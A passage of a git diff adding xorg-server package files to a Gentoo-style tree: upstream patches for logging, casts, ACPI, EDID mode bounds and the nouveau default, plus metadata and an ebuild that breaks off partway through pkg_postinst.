++LogVMessageVerb(MessageType type, int verb, const char *format, va_list args)
++{
++    const char *type_str;
++    char buf[1024];
++    const size_t size = sizeof(buf);
++    Bool newline;
++    size_t len = 0;
++
++    type_str = LogMessageTypeVerbString(type, verb);
++    if (!type_str)
++        return;
++
++    /* if type_str is not "", prepend it and ' ', to message */
++    if (type_str[0] != '\0')
++        len += Xscnprintf(&buf[len], size - len, "%s ", type_str);
++
++    if (size - len > 1)
++        len += Xvscnprintf(&buf[len], size - len, format, args);
++
++    /* Force '\n' at end of truncated line */
++    if (size - len == 1)
++        buf[len - 1] = '\n';
++
++    newline = (buf[len - 1] == '\n');
++    LogSWrite(verb, buf, len, newline);
++}
++
+ /* Log message with verbosity level specified. */
+ void
+ LogMessageVerb(MessageType type, int verb, const char *format, ...)
+@@ -404,6 +414,49 @@
+ }
+ 
+ void
++LogVHdrMessageVerb(MessageType type, int verb, const char *msg_format,
++                   va_list msg_args, const char *hdr_format, va_list hdr_args)
++{
++    const char *type_str;
++    char buf[1024];
++    const size_t size = sizeof(buf);
++    Bool newline;
++    size_t len = 0;
++
++    type_str = LogMessageTypeVerbString(type, verb);
++    if (!type_str)
++        return;
++
++    /* if type_str is not "", prepend it and ' ', to message */
++    if (type_str[0] != '\0')
++        len += Xscnprintf(&buf[len], size - len, "%s ", type_str);
++
++    if (hdr_format && size - len > 1)
++        len += Xvscnprintf(&buf[len], size - len, hdr_format, hdr_args);
++
++    if (msg_format && size - len > 1)
++        len += Xvscnprintf(&buf[len], size - len, msg_format, msg_args);
++
++    /* Force '\n' at end of truncated line */
++    if (size - len == 1)
++        buf[len - 1] = '\n';
++
++    newline = (buf[len - 1] == '\n');
++    LogSWrite(verb, buf, len, newline);
++}
++
++void
++LogHdrMessageVerb(MessageType type, int verb, const char *msg_format,
++                  va_list msg_args, const char *hdr_format, ...)
++{
++    va_list hdr_args;
++
++    va_start(hdr_args, hdr_format);
++    LogVHdrMessageVerb(type, verb, msg_format, msg_args, hdr_format, hdr_args);
++    va_end(hdr_args);
++}
++
++void
+ AbortServer(void) _X_NORETURN;
+ void
+ SigAbortServer(int signo) _X_NORETURN;
+Index: xorg-server-1.11.4/include/Xprintf.h
+===================================================================
+--- xorg-server-1.11.4.orig/include/Xprintf.h	2012-05-06 10:32:42.436348011 -0700
++++ xorg-server-1.11.4/include/Xprintf.h	2012-05-06 11:03:18.057814189 -0700
+@@ -66,4 +66,16 @@
+ # define vasprintf Xvasprintf
+ #endif
+ 
++/*
++ * These functions provide a portable implementation of the linux kernel
++ * scnprintf & vscnprintf routines that return the number of bytes actually
++ * copied during a snprintf, (excluding the final '\0').
++ */
++extern _X_EXPORT int
++Xscnprintf(char *s, int n, const char * _X_RESTRICT_KYWD fmt, ...)
++_X_ATTRIBUTE_PRINTF(3,4);
++extern _X_EXPORT int
++Xvscnprintf(char *s, int n, const char * _X_RESTRICT_KYWD fmt, va_list va)
++_X_ATTRIBUTE_PRINTF(3,0);
++
+ #endif /* XPRINTF_H */
+Index: xorg-server-1.11.4/os/xprintf.c
+===================================================================
+--- xorg-server-1.11.4.orig/os/xprintf.c	2012-05-06 10:32:42.472348510 -0700
++++ xorg-server-1.11.4/os/xprintf.c	2012-05-06 11:03:18.057814189 -0700
+@@ -182,6 +182,50 @@
+     return size;
+ }
+ 
++/**
++ * Varargs snprintf that returns the actual number of bytes (excluding final
++ * '\0') that were copied into the buffer.
++ * This is opposed to the normal sprintf() usually returns the number of bytes
++ * that would have been written.
++ *
++ * @param s       buffer to copy into
++ * @param n       size of buffer s
++ * @param format  printf style format string
++ * @param va      variable argument list
++ * @return        number of bytes actually copied, excluding final '\0'
++ */
++int
++Xvscnprintf(char *s, int n, const char *format, va_list args)
++{
++    int x;
++    if (n == 0)
++        return 0;
++    x = vsnprintf(s, n , format, args);
++    return (x >= n) ? (n - 1) : x;
++}
++
++/**
++ * snprintf that returns the actual number of bytes (excluding final '\0') that
++ * were copied into the buffer.
++ * This is opposed to the normal sprintf() usually returns the number of bytes
++ * that would have been written.
++ *
++ * @param s       buffer to copy into
++ * @param n       size of buffer s
++ * @param format  printf style format string
++ * @param ...     arguments for specified format
++ * @return        number of bytes actually copied, excluding final '\0'
++ */
++int Xscnprintf(char *s, int n, const char *format, ...)
++{
++    int x;
++    va_list ap;
++    va_start(ap, format);
++    x = Xvscnprintf(s, n, format, ap);
++    va_end(ap);
++    return x;
++}
++
+ /* Old api, now deprecated, may be removed in the future */
+ char *
+ Xvprintf(const char *format, va_list va)
+Index: xorg-server-1.11.4/hw/xfree86/common/xf86Helper.c
+===================================================================
+--- xorg-server-1.11.4.orig/hw/xfree86/common/xf86Helper.c	2012-05-06 10:32:42.488348731 -0700
++++ xorg-server-1.11.4/hw/xfree86/common/xf86Helper.c	2012-05-06 11:03:18.057814189 -0700
+@@ -1036,25 +1036,13 @@
+ xf86VDrvMsgVerb(int scrnIndex, MessageType type, int verb, const char *format,
+ 		va_list args)
+ {
+-    char *tmpFormat;
+-
+     /* Prefix the scrnIndex name to the format string. */
+     if (scrnIndex >= 0 && scrnIndex < xf86NumScreens &&
+-	xf86Screens[scrnIndex]->name) {
+-	tmpFormat = malloc(strlen(format) +
+-			   strlen(xf86Screens[scrnIndex]->name) +
+-			   PREFIX_SIZE + 1);
+-	if (!tmpFormat)
+-	    return;
+-
+-	snprintf(tmpFormat, PREFIX_SIZE + 1, "%s(%d): ",
+-		 xf86Screens[scrnIndex]->name, scrnIndex);
+-
+-	strcat(tmpFormat, format);
+-	LogVMessageVerb(type, verb, tmpFormat, args);
+-	free(tmpFormat);
+-    } else
+-	LogVMessageVerb(type, verb, format, args);
++        xf86Screens[scrnIndex]->name)
++        LogHdrMessageVerb(type, verb, format, args, "%s(%d): ",
++                          xf86Screens[scrnIndex]->name, scrnIndex);
++    else
++        LogVMessageVerb(type, verb, format, args);
+ }
+ #undef PREFIX_SIZE
+ 
+@@ -1087,15 +1075,18 @@
+ xf86VIDrvMsgVerb(InputInfoPtr dev, MessageType type, int verb, const char *format,
+ 		 va_list args)
+ {
+-    char *msg;
++    const char *driverName = NULL;
++    const char *deviceName = NULL;
+ 
+-    if (asprintf(&msg, "%s: %s: %s", dev->drv->driverName, dev->name, format)
+-	== -1) {
+-	LogVMessageVerb(type, verb, "%s", args);
+-    } else {
+-	LogVMessageVerb(type, verb, msg, args);
+-	free(msg);
++    /* Prefix driver and device names to formatted message. */
++    if (dev) {
++        deviceName = dev->name;
++        if (dev->drv)
++            driverName = dev->drv->driverName;
+     }
++
++    LogHdrMessageVerb(type, verb, format, args, "%s: %s: ", driverName,
++                      deviceName);
+ }
+ 
+ /* Print input driver message, with verbose level specified directly */
+Index: xorg-server-1.11.4/include/os.h
+===================================================================
+--- xorg-server-1.11.4.orig/include/os.h	2012-05-06 11:03:17.621808123 -0700
++++ xorg-server-1.11.4/include/os.h	2012-05-06 11:03:29.353971366 -0700
+@@ -514,6 +514,7 @@
+     X_INFO,			/* Informational message */
+     X_NONE,			/* No prefix */
+     X_NOT_IMPLEMENTED,		/* Not implemented */
++    X_DEBUG,            /* Debug message */
+     X_UNKNOWN = -1		/* unknown -- this must always be last */
+ } MessageType;
+ 
+@@ -528,6 +529,20 @@
+ 			   ...) _X_ATTRIBUTE_PRINTF(3,4);
+ extern _X_EXPORT void LogMessage(MessageType type, const char *format, ...)
+ 			_X_ATTRIBUTE_PRINTF(2,3);
++
++extern _X_EXPORT void
++LogVHdrMessageVerb(MessageType type, int verb,
++                   const char *msg_format, va_list msg_args,
++                   const char *hdr_format, va_list hdr_args)
++_X_ATTRIBUTE_PRINTF(3, 0)
++_X_ATTRIBUTE_PRINTF(5, 0);
++extern _X_EXPORT void
++LogHdrMessageVerb(MessageType type, int verb,
++                  const char *msg_format, va_list msg_args,
++                  const char *hdr_format, ...)
++_X_ATTRIBUTE_PRINTF(3, 0)
++_X_ATTRIBUTE_PRINTF(5, 6);
++
+ extern _X_EXPORT void FreeAuditTimer(void);
+ extern _X_EXPORT void AuditF(const char *f, ...) _X_ATTRIBUTE_PRINTF(1,2);
+ extern _X_EXPORT void VAuditF(const char *f, va_list args) _X_ATTRIBUTE_PRINTF(1,0);
diff --git a/x11-base/xorg-server/files/xorg-server-1.11-pointer-to-int-cast.patch b/x11-base/xorg-server/files/xorg-server-1.11-pointer-to-int-cast.patch
new file mode 100644
index 00000000..beb94a9d
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.11-pointer-to-int-cast.patch
@@ -0,0 +1,87 @@
+From b2a4c09507b267495ea5e4c2e05373b323c80edf Mon Sep 17 00:00:00 2001
+From: Jeremy Huddleston <jeremyhu@apple.com>
+Date: Sat, 17 Dec 2011 20:56:59 +0000
+Subject: kdrive/linux: Fix compilation with -Werror=int-to-pointer-cast -Werror=pointer-to-int-cast
+
+Reported-by: Arkadiusz Miśkiewicz <arekm@maven.pl>
+Signed-off-by: Jeremy Huddleston <jeremyhu@apple.com>
+Reviewed-by: Jamey Sharp <jamey@minilop.net>
+(cherry picked from commit 1deede3c48d5ac91f50774c79f02afc6e036614e)
+---
+diff --git a/hw/kdrive/linux/keyboard.c b/hw/kdrive/linux/keyboard.c
+index f5f9d9b..ba2637b 100644
+--- a/hw/kdrive/linux/keyboard.c
++++ b/hw/kdrive/linux/keyboard.c
+@@ -692,7 +692,7 @@ LinuxKeyboardEnable (KdKeyboardInfo *ki)
+         return !Success;
+ 
+     fd = LinuxConsoleFd;
+-    ki->driverPrivate = (void *) fd;
++    ki->driverPrivate = (void *) (intptr_t) fd;
+ 
+     ioctl (fd, KDGKBMODE, &LinuxKbdTrans);
+     tcgetattr (fd, &LinuxTermios);
+@@ -724,7 +724,7 @@ LinuxKeyboardDisable (KdKeyboardInfo *ki)
+     if (!ki)
+         return;
+ 
+-    fd = (int) ki->driverPrivate;
++    fd = (int) (intptr_t) ki->driverPrivate;
+ 
+     KdUnregisterFd(ki, fd, FALSE);
+     ioctl(fd, KDSKBMODE, LinuxKbdTrans);
+@@ -753,7 +753,7 @@ LinuxKeyboardLeds (KdKeyboardInfo *ki, int leds)
+     if (!ki)
+         return;
+ 
+-    ioctl ((int)ki->driverPrivate, KDSETLED, leds & 7);
++    ioctl ((int)(intptr_t)ki->driverPrivate, KDSETLED, leds & 7);
+ }
+ 
+ KdKeyboardDriver LinuxKeyboardDriver = {
+diff --git a/hw/kdrive/linux/ms.c b/hw/kdrive/linux/ms.c
+index b6151cd..176e125 100644
+--- a/hw/kdrive/linux/ms.c
++++ b/hw/kdrive/linux/ms.c
+@@ -152,7 +152,7 @@ MsEnable (KdPointerInfo *pi)
+     }
+     if (KdRegisterFd (port, MsRead, pi))
+ 	return TRUE;
+-    pi->driverPrivate = (void *)port;
++    pi->driverPrivate = (void *)(intptr_t)port;
+ 
+     return Success;
+ 
+@@ -164,7 +164,7 @@ MsEnable (KdPointerInfo *pi)
+ static void
+ MsDisable (KdPointerInfo *pi)
+ {
+-    KdUnregisterFd (pi, (int)pi->driverPrivate, TRUE);
++    KdUnregisterFd (pi, (int)(intptr_t)pi->driverPrivate, TRUE);
+ }
+ 
+ static void
+diff --git a/hw/kdrive/linux/ps2.c b/hw/kdrive/linux/ps2.c
+index 465b963..b62d769 100644
+--- a/hw/kdrive/linux/ps2.c
++++ b/hw/kdrive/linux/ps2.c
+@@ -159,7 +159,7 @@ Ps2Enable (KdPointerInfo *pi)
+         return BadAlloc;
+     }
+ 
+-    pi->driverPrivate = (void *)fd;
++    pi->driverPrivate = (void *)(intptr_t)fd;
+ 
+     return Success;
+ }
+@@ -168,7 +168,7 @@ Ps2Enable (KdPointerInfo *pi)
+ static void
+ Ps2Disable (KdPointerInfo *pi)
+ {
+-    KdUnregisterFd (pi, (int)pi->driverPrivate, TRUE);
++    KdUnregisterFd (pi, (int)(intptr_t)pi->driverPrivate, TRUE);
+ }
+ 
+ static void
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-base/xorg-server/files/xorg-server-1.12-disable-acpi.patch b/x11-base/xorg-server/files/xorg-server-1.12-disable-acpi.patch
new file mode 100644
index 00000000..df43dbde
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.12-disable-acpi.patch
@@ -0,0 +1,11 @@
+diff -ur a/configure.ac b/configure.ac
+--- a/configure.ac	2011-10-31 19:40:02.000000000 +0100
++++ b/configure.ac	2011-10-31 19:41:02.372745481 +0100
+@@ -1624,7 +1624,6 @@
+ 		  	linux_alpha=yes
+ 			;;
+ 		  i*86|amd64*|x86_64*|ia64*)
+-			linux_acpi="yes"
+ 			;;
+ 		  *)
+ 			;;
diff --git a/x11-base/xorg-server/files/xorg-server-1.12-xf86edidmodes-array-bounds.patch b/x11-base/xorg-server/files/xorg-server-1.12-xf86edidmodes-array-bounds.patch
new file mode 100644
index 00000000..8fedc32c
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.12-xf86edidmodes-array-bounds.patch
@@ -0,0 +1,35 @@
+Patch by Torsten Kaiser <x11@ariolc.dyndns.org>
+taken from https://bugs.freedesktop.org/show_bug.cgi?id=45623
+
+diff -ur a/hw/xfree86/modes/xf86EdidModes.c b/hw/xfree86/modes/xf86EdidModes.c
+--- a/hw/xfree86/modes/xf86EdidModes.c	2012-05-17 19:09:03.000000000 +0200
++++ b/hw/xfree86/modes/xf86EdidModes.c	2012-05-30 01:27:06.000000000 +0200
+@@ -723,7 +723,13 @@
+     1920, 1200, 75, 0}, {
+     1920, 1200, 85, 0}, {
+     1920, 1440, 60, 0}, {
+-1920, 1440, 75, 0},};
++1920, 1440, 75, 0},
++    /* fill up last byte */
++    { 0,0,0,0 },
++    { 0,0,0,0 },
++    { 0,0,0,0 },
++    { 0,0,0,0 },
++};
+ 
+ static DisplayModePtr
+ DDCModesFromEstIII(unsigned char *est)
+@@ -732,10 +738,11 @@
+     int i, j, m;
+ 
+     for (i = 0; i < 6; i++) {
+-        for (j = 7; j > 0; j--) {
++        for (j = 7; j >= 0; j--) {
+             if (est[i] & (1 << j)) {
+                 m = (i * 8) + (7 - j);
+-                modes = xf86ModesAdd(modes,
++                if (EstIIIModes[m].w)
++                        modes = xf86ModesAdd(modes,
+                                      FindDMTMode(EstIIIModes[m].w,
+                                                  EstIIIModes[m].h,
+                                                  EstIIIModes[m].r,
diff --git a/x11-base/xorg-server/files/xorg-server-1.9-nouveau-default.patch b/x11-base/xorg-server/files/xorg-server-1.9-nouveau-default.patch
new file mode 100644
index 00000000..2b05967a
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-1.9-nouveau-default.patch
@@ -0,0 +1,30 @@
+diff --git a/hw/xfree86/common/xf86pciBus.c b/hw/xfree86/common/xf86pciBus.c
+index 74016af..9c296f5 100644
+--- a/hw/xfree86/common/xf86pciBus.c
++++ b/hw/xfree86/common/xf86pciBus.c
+@@ -1118,7 +1118,23 @@ videoPtrToDriverList(struct pci_device *dev,
+ 	    break;
+ 	case 0x102b:		    driverList[0] = "mga";	break;
+ 	case 0x10c8:		    driverList[0] = "neomagic"; break;
+-	case 0x10de: case 0x12d2:   driverList[0] = "nv";	break;
++	case 0x10de: case 0x12d2:
++	    switch (dev->device_id) {
++	    /* NV1 */
++	    case 0x0008:
++	    case 0x0009:
++		driverList[0] = "vesa";
++		break;
++	    /* NV3 */
++	    case 0x0018:
++	    case 0x0019:
++		driverList[0] = "nv";
++		break;
++	    default:
++		driverList[0] = "nouveau";
++		break;
++	    }
++	    break;
+ 	case 0x1106:		    driverList[0] = "openchrome"; break;
+         case 0x1b36:		    driverList[0] = "qxl"; break;
+ 	case 0x1163:		    driverList[0] = "rendition"; break;
+-- 
diff --git a/x11-base/xorg-server/files/xorg-server-die-ugly-background.patch b/x11-base/xorg-server/files/xorg-server-die-ugly-background.patch
new file mode 100644
index 00000000..db1e2dc4
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-die-ugly-background.patch
@@ -0,0 +1,16 @@
+Remove the default root window grey stipple pattern, replacing it with
+blackness.
+
+--- dix/window.c.orig
++++ dix/window.c
+@@ -119,8 +119,8 @@
+  *
+  ******/
+ 
+-static unsigned char _back_lsb[4] = {0x88, 0x22, 0x44, 0x11};
+-static unsigned char _back_msb[4] = {0x11, 0x44, 0x22, 0x88};
++static unsigned char _back_lsb[4] = {0x00, 0x00, 0x00, 0x00};
++static unsigned char _back_msb[4] = {0x00, 0x00, 0x00, 0x00};
+ 
+ int screenIsSaved = SCREEN_SAVER_OFF;
+ 
diff --git a/x11-base/xorg-server/files/xorg-server-disable-acpi.patch b/x11-base/xorg-server/files/xorg-server-disable-acpi.patch
new file mode 100644
index 00000000..cc80e6ce
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-disable-acpi.patch
@@ -0,0 +1,31 @@
+From a8079882f1884edc62a9de28af915bd8b65dfbbe Mon Sep 17 00:00:00 2001
+From: Adam Jackson <ajax@redhat.com>
+Date: Wed, 11 Mar 2009 14:02:11 -0400
+Subject: [PATCH] Don't build the ACPI code.
+
+No good can come of this.
+---
+ configure.ac |    2 --
+ 1 files changed, 0 insertions(+), 2 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 72ae67e..04716f8 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1269,13 +1269,11 @@ if test "x$XORG" = xyes; then
+ 		case $host_cpu in
+ 		  ia64*)
+ 			linux_ia64=yes
+-			linux_acpi="yes"
+ 			;;
+ 		  alpha*)
+ 		  	linux_alpha=yes
+ 			;;
+ 		  i*86|amd64*|x86_64*)
+-			linux_acpi="yes"
+ 			;;
+ 		  *)
+ 			;;
+-- 
+1.6.1.3
+
diff --git a/x11-base/xorg-server/files/xorg-server-glapi_c.patch b/x11-base/xorg-server/files/xorg-server-glapi_c.patch
new file mode 100644
index 00000000..e65a969a
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-server-glapi_c.patch
@@ -0,0 +1,78 @@
+From 17d9e374721d6c8ee3f7f9cdc882f80127bdb57f Mon Sep 17 00:00:00 2001
+From: Adam Jackson <ajax@redhat.com>
+Date: Wed, 02 Mar 2011 18:21:39 +0000
+Subject: glx: Lobotomize _glapi_get_proc_address
+
+This isn't a meaningful thing in the indirect glx loader, so just warn
+if it ever happens and move on.
+
+But also, mark it PUBLIC, so if the driver does ever call it we merely
+warn instead of aborting because ld.so can't find the symbol.
+
+Reviewed-by: Dave Airlie <airlied@redhat.com>
+Signed-off-by: Adam Jackson <ajax@redhat.com>
+---
+diff --git a/glx/glapi.c b/glx/glapi.c
+index 1814493..79ff6b1 100644
+--- a/glx/glapi.c
++++ b/glx/glapi.c
+@@ -54,6 +54,7 @@
+ 
+ #include <dix-config.h>
+ #include <X11/Xfuncproto.h>
++#include <os.h>
+ #define PUBLIC _X_EXPORT
+ 
+ #else
+@@ -713,43 +714,15 @@ _glapi_add_dispatch( const char * const * function_names,
+    return offset;
+ }
+ 
+-/**
+- * Return pointer to the named function.  If the function name isn't found
+- * in the name of static functions, try generating a new API entrypoint on
+- * the fly with assembly language.
++/*
++ * glXGetProcAddress doesn't exist in the protocol, the drivers never call
++ * this themselves, and neither does the server.  warn if it happens though.
+  */
+-_glapi_proc
++PUBLIC _glapi_proc
+ _glapi_get_proc_address(const char *funcName)
+ {
+-   struct _glapi_function * entry;
+-   GLuint i;
+-
+-#ifdef MANGLE
+-   if (funcName[0] != 'm' || funcName[1] != 'g' || funcName[2] != 'l')
+-      return NULL;
+-#else
+-   if (funcName[0] != 'g' || funcName[1] != 'l')
+-      return NULL;
+-#endif
+-
+-   /* search extension functions first */
+-   for (i = 0; i < NumExtEntryPoints; i++) {
+-      if (strcmp(ExtEntryTable[i].name, funcName) == 0) {
+-         return ExtEntryTable[i].dispatch_stub;
+-      }
+-   }
+-
+-#if !defined( XFree86Server ) && !defined( XGLServer )
+-   /* search static functions */
+-   {
+-      const _glapi_proc func = get_static_proc_address(funcName);
+-      if (func)
+-         return func;
+-   }
+-#endif /* !defined( XFree86Server ) */
+-
+-   entry = add_function_name(funcName);
+-   return (entry == NULL) ? NULL : entry->dispatch_stub;
++    ErrorF("_glapi_get_proc_address called!\n");
++    return NULL;
+ }
+ 
+ /**
+--
+cgit v0.8.3-6-g21f6
diff --git a/x11-base/xorg-server/files/xorg-sets.conf b/x11-base/xorg-server/files/xorg-sets.conf
new file mode 100644
index 00000000..5cd8112f
--- /dev/null
+++ b/x11-base/xorg-server/files/xorg-sets.conf
@@ -0,0 +1,6 @@
+# Rebuild all X11 modules (mostly useful after xorg-server ABI change).
+[x11-module-rebuild]
+class = portage.sets.dbapi.VariableSet
+world-candidate = false
+variable = CATEGORY
+includes = x11-drivers
diff --git a/x11-base/xorg-server/metadata.xml b/x11-base/xorg-server/metadata.xml
new file mode 100644
index 00000000..587fdba9
--- /dev/null
+++ b/x11-base/xorg-server/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>x11</herd>
+<use>
+	<flag name='dmx'>Build the Distributed Multiheaded X server</flag>
+	<flag name='kdrive'>Build the kdrive X servers</flag>
+	<flag name='tslib'>Build with tslib support for touchscreen devices</flag>
+	<flag name='udev'>Enable devices discovery via udev</flag>
+	<flag name='xorg'>Build the Xorg X server (HIGHLY RECOMMENDED)</flag>
+</use>
+</pkgmetadata>
diff --git a/x11-base/xorg-server/xorg-server-1.10.4.ebuild b/x11-base/xorg-server/xorg-server-1.10.4.ebuild
new file mode 100644
index 00000000..20523ae1
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.10.4.ebuild
@@ -0,0 +1,269 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.10.2.ebuild,v 1.6 2011/06/28 21:22:26 ranger Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha amd64 arm ~hppa ~ia64 ~mips ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.10.3
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-1.4
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-4.0.3
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 x11-proto/xcalibrateproto )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3"
+
+# dmx+doc DEPEND is a hack, a proper solution needs to be implemented in the
+# xorg-2.eclass for next release
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-4.1
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.11
+	>=x11-proto/inputproto-1.9.99.902
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.17
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.3
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-disable-acpi.patch
+	"${FILESDIR}"/${PN}-1.9-nouveau-default.patch
+	"${FILESDIR}"/${PN}-die-ugly-background.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable tslib xcalibrate)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-3 xdm
+	newconfd "${FILESDIR}"/xdm.confd-3 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		elog "You should consider reading upgrade guide for this release:"
+		elog "	http://www.gentoo.org/proj/en/desktop/x/x11/xorg-server-$(get_version_component_range 1-2)-upgrade-guide.xml"
+		echo
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
